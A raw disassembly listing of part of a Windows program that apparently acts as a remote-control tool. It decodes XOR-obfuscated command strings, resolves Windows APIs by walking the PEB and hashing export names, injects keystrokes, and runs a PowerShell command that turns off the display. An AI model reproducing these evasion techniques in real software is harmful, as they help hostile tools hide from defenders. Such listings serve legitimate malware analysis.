je 0x140008f58
inc rbx
lea r8, [r12 + 1]
sub r8, rbx
mov edx, r13d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140008e60
mov r12, qword [rbp - 0x78]
mov r13, qword [rbp - 0x60]
mov rdx, qword [rsp + 0x68]
mov r9, qword [rbp - 0x80]
mov r15, 0xffffffffffffffff
mov rbx, r15
cmp rbx, 0xffffffffffffffff
je 0x140008f7f
lea rcx, [rdi + 1]
add rcx, rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
cmp r14, rcx
jb 0x14000b12b
sub r14, rcx
mov r8, r15
cmp r14, 0xffffffffffffffff
cmovb r8, r14
lea rax, [rsp + 0x68]
cmp r9, 0xf
cmova rax, rdx
lea rdx, [rax + rcx]
lea rcx, [rbp - 0x50]
call fcn.140001570
nop
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x10]
call fcn.140002720
mov rdx, rax
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call fcn.14000d820
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140008f84
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008f78
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140008f78
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
sub rbx, r15
mov r12, qword [rbp - 0x78]
mov r13, qword [rbp - 0x60]
mov rdx, qword [rsp + 0x68]
mov r9, qword [rbp - 0x80]
mov r15, 0xffffffffffffffff
jmp 0x140008eaf
call fcn.1400194d8
jmp 0x140008f84
mov rbx, qword [rsp + 0x48]
cmp r13, 0xf
jbe 0x140008fbc
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140008fb4
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000afe6
mov rcx, r12
call fcn.1400194d8
mov r12d, dword [0x140021020]
xor r13d, r13d
jmp 0x14000acca
movsd xmm0, qword [str.ZWO_VSHMZ_]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x14001bd60]
mov word [rsp + 0x58], ax
cmp byte [0x14001bd61], 0
je 0x140009020
mov byte [rsp + 0x50], 0x6d
xor byte [rsp + 0x51], 0x38
xor byte [rsp + 0x52], 0x39
xor byte [rsp + 0x53], 0x3a
xor byte [rsp + 0x54], 0x3b
xor byte [rsp + 0x55], 0x3c
xor byte [rsp + 0x56], 0x3d
xor byte [rsp + 0x57], 0x3e
xor byte [rsp + 0x58], 0x3f
xor byte [rsp + 0x59], 0x40
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140009030
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x140009670
lea r14, [rsp + 0x68]
cmp rsi, 0xf
cmova r14, rdi
test rbx, rbx
je 0x140009091
mov r8, rbx
mov edx, 0x20
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140009091
sub rax, r14
jmp 0x140009094
mov rax, r15
cmp rax, 0xffffffffffffffff
je 0x14000acc5
lea rcx, [rax + 1]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp], xmm1
cmp rbx, rcx
jb 0x14000b131
sub rbx, rcx
mov r8, r15
cmp rbx, 0xffffffffffffffff
cmovb r8, rbx
lea rdx, [rsp + 0x68]
cmp rsi, 0xf
cmova rdx, rdi
add rdx, rcx
lea rcx, [rbp - 0x10]
call fcn.140001570
nop
xor edx, edx
mov r8d, 0xf0
lea rcx, [rbp + 0x70]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x14001bd78]
mov qword [rbp + 0x70], rax
lea rcx, [rbp + 0x100]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x40], 0x65
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x70], rax
mov rax, qword [rbp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x6c], edx
mov r8d, 1
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x80]
call fcn.140002ad0
nop
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
lea rdx, [rbp - 0x58]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x14000935d
movups xmm0, xmmword [str.RJKUI]
movups xmmword [rbp - 0x78], xmm0
mov eax, dword [0x14001bd90]
mov dword [rbp - 0x68], eax
cmp byte [0x14001bd93], 0
je 0x14000933d
mov ecx, r13d
cmp r12d, 2
jl 0x140009302
movdqa xmm5, xmmword [0x14001c330]
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm6, xmmword [0x14001c350]
movdqa xmm0, xmmword [0x14001c390]
movdqa xmmword [rbp - 0x50], xmm0
lea rdx, [rbp - 0x74]
mov r8d, dword [rbp - 0x50]
nop dword [rax + rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x10
jl 0x140009200
cmp ecx, 0x14
jge 0x14000933d
movsxd rax, ecx
lea r8, [rbp - 0x78]
add r8, rax
nop dword [rax]
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x14
jl 0x140009310
lea rdx, [rbp - 0x78]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001060
lea rdx, [0x1400026e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x14001bd94]
mov dword [rsp + 0x40], eax
cmp byte [0x14001bd97], 0
je 0x140009431
cmp r12d, 2
jl 0x1400093f8
movdqa xmm3, xmmword [0x14001c330]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001c380]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001c380]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001c390]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
jmp 0x140009431
lea r9, [rsp + 0x40]
mov r8d, r13d
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, r8b
xor byte [r9], dl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140009400
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001060
mov edx, dword [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1400026e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, dword [0x14001bd98]
mov dword [rsp + 0x40], eax
cmp byte [0x14001bd9b], 0
je 0x140009541
cmp r12d, 2
jl 0x1400094fa
movdqa xmm3, xmmword [0x14001c330]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14001c380]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14001c380]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 1
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14001c390]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x40], xmm2
jmp 0x140009541
lea r9, [rsp + 0x40]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, r8b
xor byte [r9], dl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140009510
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001060
mov edx, dword [rbp - 0x58]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x1400026e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [0x1400218d0]
test rax, rax
jne 0x140009633
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140009613
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140009613
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ecx, 0xb5b5b91c
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14000960e
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400095f0
cmp ecx, 0xeb8569cc
je 0x140009655
test r8d, r8d
jne 0x1400095d0
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x140009629
cmp qword [rax + 0x30], 0
jne 0x1400095a0
mov rax, r13
mov qword [0x1400218d0], rax
mov edx, dword [rbp - 0x58]
mov ecx, dword [rsp + 0x50]
call rax
nop
lea rcx, [rbp + 0x70]
call fcn.140003430
nop
lea rcx, [rbp - 0x10]
call fcn.140003170
jmp 0x14000acc5
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x14000962c
movsd xmm0, qword [str._JPNWXG__]
movsd qword [rsp + 0x50], xmm0
movzx eax, word [0x14001bda8]
mov word [rsp + 0x58], ax
cmp byte [0x14001bda9], 0
je 0x1400096c5
mov byte [rsp + 0x50], 0x77
xor byte [rsp + 0x51], 0x38
xor byte [rsp + 0x52], 0x39
xor byte [rsp + 0x53], 0x3a
xor byte [rsp + 0x54], 0x3b
xor byte [rsp + 0x55], 0x3c
xor byte [rsp + 0x56], 0x3d
xor byte [rsp + 0x57], 0x3e
xor byte [rsp + 0x58], 0x3f
xor byte [rsp + 0x59], 0x40
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x1400096d0
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x140009ba8
lea r14, [rsp + 0x68]
cmp rsi, 0xf
cmova r14, rdi
test rbx, rbx
je 0x140009731
mov r8, rbx
mov edx, 0x20
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140009731
sub rax, r14
jmp 0x140009734
mov rax, r15
cmp rax, 0xffffffffffffffff
je 0x14000acc5
lea rcx, [rax + 1]
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
cmp rbx, rcx
jb 0x14000b137
sub rbx, rcx
mov r8, r15
cmp rbx, 0xffffffffffffffff
cmovb r8, rbx
lea rdx, [rsp + 0x68]
cmp rsi, 0xf
cmova rdx, rdi
add rdx, rcx
lea rcx, [rbp - 0x78]
call fcn.140001570
nop
lea r14, [rbp - 0x78]
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
cmova r14, rcx
cmp byte [r14], 0
je 0x140009af3
mov rax, qword [0x1400218c8]
test rax, rax
jne 0x140009867
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140009847
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140009847
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ecx, 0x69ee4785
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140009842
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140009820
cmp ecx, 0x406d7243
je 0x140009b2f
test r8d, r8d
jne 0x140009800
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x14000985d
cmp qword [rax + 0x30], 0
jne 0x1400097d0
mov rax, r13
mov qword [0x1400218c8], rax
movzx ecx, byte [r14]
call rax
movzx esi, ax
mov r10, qword [0x1400218c0]
test r10, r10
jne 0x140009937
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov rbx, rdi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140009917
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140009917
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ecx, 0x6eb88ee5
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140009912
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400098f0
cmp ecx, 0x9594c44d
je 0x140009b4d
test r8d, r8d
jne 0x1400098d0
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x14000992d
cmp qword [rax + 0x30], 0
jne 0x1400098a0
mov r10, r13
mov qword [0x1400218c0], r10
xor r9d, r9d
xor r8d, r8d
xor edx, edx
movzx ecx, sil
call r10
mov rax, qword [0x1400218b8]
test rax, rax
jne 0x140009a07
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop dword [rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400099e7
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400099e7
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ecx, 0xea40e5cd
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400099e2
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x1400099c0
cmp ecx, 0xa4f1ae85
je 0x140009b6c
test r8d, r8d
jne 0x1400099a0
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x1400099fd
cmp qword [rax + 0x30], 0
jne 0x140009970
mov rax, r13
mov qword [0x1400218b8], rax
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
movzx ecx, sil
call rax
mov rax, qword [0x1400218b0]
test rax, rax
jne 0x140009ad7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop dword [rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140009ab7
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140009ab7
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov eax, dword [rcx + r9]
add rax, r9
mov edx, 0xc5c9d3d5
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140009ab2
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x140009a90
cmp edx, 0x9e851dd8
je 0x140009b8a
test r8d, r8d
jne 0x140009a70
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x140009acd
cmp qword [rax + 0x30], 0
jne 0x140009a40
mov rax, r13
mov qword [0x1400218b0], rax
mov ecx, 0x32
call rax
inc r14
cmp byte [r14], 0
jne 0x1400097a0
mov rdx, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000acc5
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009b25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000afe6
call fcn.1400194d8
jmp 0x14000acc5
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x140009860
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov r10d, dword [rdx + rcx*4]
add r10, r9
jmp 0x140009930
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x140009a00
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x140009ad0
movsd xmm0, qword [str.UTXYPOLZ__BVTM_]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14001bdb8]
mov dword [rsp + 0x58], eax
cmp byte [0x14001bdbb], 0
je 0x140009d21
mov r8d, r13d
cmp r12d, 2
jl 0x140009cdc
movdqa xmm4, xmmword [0x14001c380]
movdqa xmm2, xmmword [0x14001c330]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
mov eax, dword [0x14001c390]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.UTXYPOLZ__BVTM_]
xorps xmm2, xmm0
movd dword [rsp + 0x50], xmm2
movdqa xmm3, xmmword [0x14001c340]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14001c350]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14001c370]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140009cf0
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140009d30
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x140009d7e
lea rcx, str.powershell__Add_Type__DllImport__user32.dll___public_static_extern_int_PostMessage_int_hWnd__int_hMsg__int_wParam__int_lParam____Name_a__Pas_::PostMessage__1_0x0112_0xF170_2_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000acc5
mov eax, dword [0x14001bdbc]
mov dword [rsp + 0x50], eax
movzx eax, word [0x14001bdc0]
mov word [rsp + 0x54], ax
mov byte [rsp + 0x50], 0x61
xor byte [rsp + 0x51], 0x38
xor byte [rsp + 0x52], 0x39
xor byte [rsp + 0x53], 0x3a
xor al, 0x3b
mov byte [rsp + 0x54], al
xor byte [rsp + 0x55], 0x3c
lea rcx, [rsp + 0x50]
mov rax, r15
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140009dc0
lea rcx, [rsp + 0x68]
cmp rsi, 0xf
cmova rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x50]
xor r8d, r8d
mov rdx, rbx
call fcn.140002610
cmp rax, 0xffffffffffffffff
je 0x14000a1b1
mov rax, qword [0x1400218a8]
test rax, rax
jne 0x140009eb7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop dword [rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140009e97
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140009e97
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ecx, 0x2680d501
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140009e92
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140009e70
cmp ecx, 0x1b33f471
je 0x14000a139
test r8d, r8d
jne 0x140009e50
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x140009ead
cmp qword [rax + 0x30], 0
jne 0x140009e20
mov rax, r13
mov qword [0x1400218a8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x12
call rax
mov rax, qword [0x1400218a0]
test rax, rax
jne 0x140009f87
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov rbx, rdi
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140009f67
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x140009f67
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r10 + r8*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov ecx, 0xa8f87af3
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140009f62
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140009f40
cmp ecx, 0x80f1002b
je 0x14000a157
test r8d, r8d
jne 0x140009f20
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
je 0x140009f7d
cmp qword [rax + 0x30], 0
jne 0x140009ef0
mov rax, r13
mov qword [0x1400218a0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov cl, 0x73
call rax
mov rax, qword [0x140021898]
test rax, rax
jne 0x14000a057
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
